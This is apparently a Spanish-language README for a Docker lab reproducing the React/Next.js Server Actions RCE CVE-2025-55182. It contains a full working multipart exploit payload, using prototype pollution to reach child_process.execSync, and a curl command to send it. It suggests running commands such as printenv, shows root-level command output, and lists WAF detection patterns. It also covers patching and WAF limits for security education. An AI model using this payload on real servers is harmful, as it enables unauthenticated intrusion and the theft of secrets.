Laboratorio de prueba basado en Docker para la vulnerabilidad de RCE CVE-2025-55182 (React2Shell) en React 19.1.0/Next.js 15.1.0. Incluye scripts de explotación, pruebas de omisión de WAF con NGINX/ModSecurity y comparación de versiones parcheadas para educación en seguridad.
⚠️ Advertencia: Contiene una vulnerabilidad de ejecución remota de código (RCE) que funciona realmente.
Entorno de prueba en contenedor para la vulnerabilidad CVE-2025-55182 (React2Shell).
🔴 CRITICAL VULNERABILITY CONFIRMED!
Successfully executed 6/7 commands
Executed Commands:
✅ whoami: root
✅ hostname: c89f1bd355b2
✅ pwd: /app
✅ id: uid=0(root) gid=0(root) groups=0(root)...
✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
✅ node-ver: v20.19.6
Puntuación CVSS: 10.0 (CRÍTICA)
Impacto: Ejecución remota de código (RCE)
Requisitos de autenticación: Ninguno
Vector de ataque: Red
$1:__proto__:then$B)child_process// Estructura del payload de ataque
{
"then": "$1:__proto__:then", // Contaminación de Object.prototype.then
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}', // Desencadenar deserialización de Blob
"_response": {
"_prefix": "código_malicioso", // Código a ejecutar
"_formData": {
"get": "$1:constructor:constructor" // Acceso al constructor de funciones
}
}
}
Windows (PowerShell):
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start
.\run-tests.ps1 status
Debe esperar hasta que todos los contenedores estén en estado healthy (aproximadamente 1-2 minutos).
Windows (PowerShell):
# Método 1: Usar script de PowerShell (recomendado)
.\tests\exploit-working.ps1
# Método 2: Ejecutar directamente con Node.js
node tests\exploit-working.js
Puede ver los resultados de la ejecución de comandos en los logs del servidor:
docker compose logs vulnerable-app --tail=20
exploit-working.js ⭐ RecomendadoWindows:
# Script de PowerShell (recomendado)
.\tests\exploit-working.ps1
# O ejecutar directamente con Node.js
node tests\exploit-working.js
Contenido de la ejecución:
Comandos probados:
whoami - Usuario actual (root)hostname - Nombre del host del contenedorpwd - Directorio de trabajo (/app)id - Información completa del usuariouname -a - Información del sistemanode --version - Versión de Node.js# Crear archivo de payload
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary123--
EOF
# Enviar el ataque
curl -X POST http://localhost:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
-H "Next-Action: exploit" \
--data-binary @payload.txt
# Verificar logs de ejecución
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"
Puede modificar el script de ataque para ejecutar los comandos que desee:
// En el archivo exploit-working.js:
const tests = [
{ name: 'custom', cmd: 'ls -la /app', desc: 'Listado del directorio de la aplicación' },
{ name: 'env', cmd: 'printenv', desc: 'Mostrar variables de entorno' }
]
| Puerto | Servicio | Versión de React | Propósito | Estado del WAF |
|---|---|---|---|---|
| 3000 | vulnerable-app | 19.1.0 | Vulnerable - Prueba CVE-2025-55182 | ❌ Sin protección |
| 3001 | patched-app | 19.1.2 | Seguro - Verificación del parche | ✅ Parcheado |
| 8080 | nginx → vulnerable | 19.1.0 | Prueba WAF (NGINX) | ⚠️ Limitado (sin inspección de body) |
| 8081 | apache → vulnerable | 19.1.0 | Prueba WAF (ModSecurity) | ⚠️ Limitado (respuesta 405) |
| 8082 | nginx → patched | 19.1.2 | Prueba de doble protección | ✅ Parcheado |
# Ejecutar ataque funcional
node tests/exploit-working.js
# Resultado esperado: Ejecución de comandos exitosa
# Salida: Información del usuario, detalles del sistema, etc.
Windows (PowerShell):
# Usar script de PowerShell
.\tests\exploit-working.ps1 -Port 3001
Resultado esperado: Ataque fallido (React 19.1.2 bloquea el ataque)
Windows (PowerShell):
# Intentar ataque a través del WAF NGINX
.\tests\exploit-working.ps1 -Port 8080
Resultado esperado: Bloqueado por las reglas WAF
Ubicación: nginx/nginx.conf
Patrones de detección:
__proto__, constructor:constructor$X:__proto__, referencia $Bchild_process, execSync, require()%5f%5fproto%5f%5fNext-Action: #constructorComportamiento de bloqueo:
HTTP 403 Forbidden
{
"error": "Request blocked by WAF",
"protection": "CVE-2025-55182",
"waf": "NGINX"
}
Ubicación: apache/modsecurity-rules.conf
Rango de IDs de reglas: 100001-100017
Reglas principales:
__proto__# Prueba de bloqueo NGINX
curl -X POST http://localhost:8080/ \
-H "Content-Type: application/json" \
-d '{"__proto__": {"polluted": true}}'
# Respuesta esperada: HTTP 403
# Prueba de bloqueo ModSecurity
curl -X POST http://localhost:8081/ \
-H "Next-Action: test#constructor" \
-d '{"data": "test"}'
# Respuesta esperada: HTTP 403
# Log de seguridad de NGINX
docker compose exec nginx tail -f /var/log/nginx/security.log
# Log de auditoría de Apache ModSecurity
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log
Importante: La configuración actual del WAF tiene las siguientes limitaciones:
multipart/form-data y no se detectaNext-Action, y solo esta cabecera no proporciona protección suficienteDefensa contra ataques reales:
cve-2025-55182-test-lab-windows/
├── README.md # README
├── docker-compose.yml # Configuración del entorno Docker
├── run-tests.ps1 # Script de ejecución para Windows
├── run-tests.sh # Script de ejecución para Linux/Mac
│
├── vulnerable-app/ # Aplicación con versión vulnerable
│ ├── Dockerfile
│ ├── package.json # React 19.1.0, Next.js 15.1.0
│ ├── next.config.js
│ ├── app/
│ │ ├── layout.js # Diseño básico
│ │ ├── page.js # Página principal
│ │ └── api/
│ │ └── health/ # Endpoint de health check
│ │ └── route.js
│ └── tests/
│
├── patched-app/ # Aplicación con vulnerabilidad resuelta
│ ├── Dockerfile
│ ├── package.json # React 19.1.2, Next.js 15.1.9
│ ├── next.config.js
│ └── app/
│ ├── layout.js
│ ├── page.js
│ └── api/
│ └── health/
│ └── route.js
│
├── tests/ # Scripts de ataque
│ ├── exploit-working.js # Ataque RCE (Node.js)
│ ├── exploit-working.ps1 # Ataque RCE (PowerShell)
│ └── exploit-working.cmd # Ataque RCE (archivo batch)
│
├── nginx/ # Configuración del WAF NGINX
│ ├── nginx.conf # Reglas de bloqueo CVE-2025-55182
│ └── nginx-patched.conf # Configuración de proxy
│
└── apache/ # Configuración de Apache ModSecurity
├── Dockerfile
├── apache-config.conf
└── modsecurity-rules.conf # Reglas de bloqueo ModSecurity
El script de ataque muestra los resultados directamente:
[whoami] Sending exploit...
✅ SUCCESS! Output: root
# Monitoreo de logs en tiempo real
docker compose logs -f vulnerable-app
# Elementos a verificar:
# [EXPLOIT] Executing: whoami
# [RESULT] root
# Verificar si el ataque se ejecutó
docker compose exec vulnerable-app ps aux | grep node
# Verificar cambios en el sistema de archivos (si se crearon archivos)
docker compose exec vulnerable-app ls -la /tmp
Actualizar React - Instalar versión 19.1.2 o superior:
npm install react@^19.1.2 react-dom@^19.1.2
Actualizar Next.js - Instalar versión 15.1.9 o superior:
npm install next@^15.1.9
Reconstruir y redistribuir:
npm run build
# Desplegar en el entorno de producción
Windows (PowerShell):
# Probar con la versión parcheada
.\tests\exploit-working.ps1 -Port 3001
# O
$env:TARGET_PORT=3001; node tests\exploit-working.js
Linux/Mac:
# Probar con la versión parcheada
TARGET_PORT=3001 node tests/exploit-working.js
Ejemplo de resultado: ℹ️ Exploitation failed
# Iniciar
.\run-tests.ps1 start
# Verificar estado
.\run-tests.ps1 status
# Ver logs
.\run-tests.ps1 logs
# Detener
.\run-tests.ps1 stop
# Limpiar (eliminar todos los contenedores y volúmenes)
.\run-tests.ps1 clean
Windows (PowerShell):
# 1. Verificar versiones
docker compose exec vulnerable-app npm list react next
# Debería mostrar:
# [email protected]
# [email protected]
# 2. Verificar que el servidor responde
curl http://localhost:3000
# 3. Verificar logs de Docker
docker compose logs vulnerable-app --tail=50
# 4. Reiniciar el contenedor
docker compose restart vulnerable-app
Windows (PowerShell):
# Filtrar logs en PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"
Síntoma del error:
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...
Solución:
docker psSíntoma del error:
No se pueden ejecutar scripts en este sistema...
Solución:
# Aplicar solo a la sesión actual
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# O ejecutar directamente
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1
Verificar que Docker esté en ejecución y tenga permisos:
Todas las plataformas:
docker compose ps
Si otra aplicación está utilizando el puerto:
Windows (PowerShell):
# Verificar procesos que usan el puerto
netstat -ano | findstr :3000
# Terminar el proceso (después de verificar el PID)
taskkill /PID <PID> /F
Todas las plataformas (modificar docker-compose.yml):
# Cambiar puertos para evitar conflictos
services:
vulnerable-app:
ports:
- "3010:3000" # Cambiar de 3000 a 3010
Todas las plataformas:
# Probar configuración NGINX
docker compose exec nginx nginx -t
# Probar configuración Apache
docker compose exec apache apachectl configtest
# Verificar logs
docker compose logs nginx --tail=30
docker compose logs apache --tail=30
Este proyecto se proporciona con fines educativos y de investigación en seguridad.
Restricciones de uso: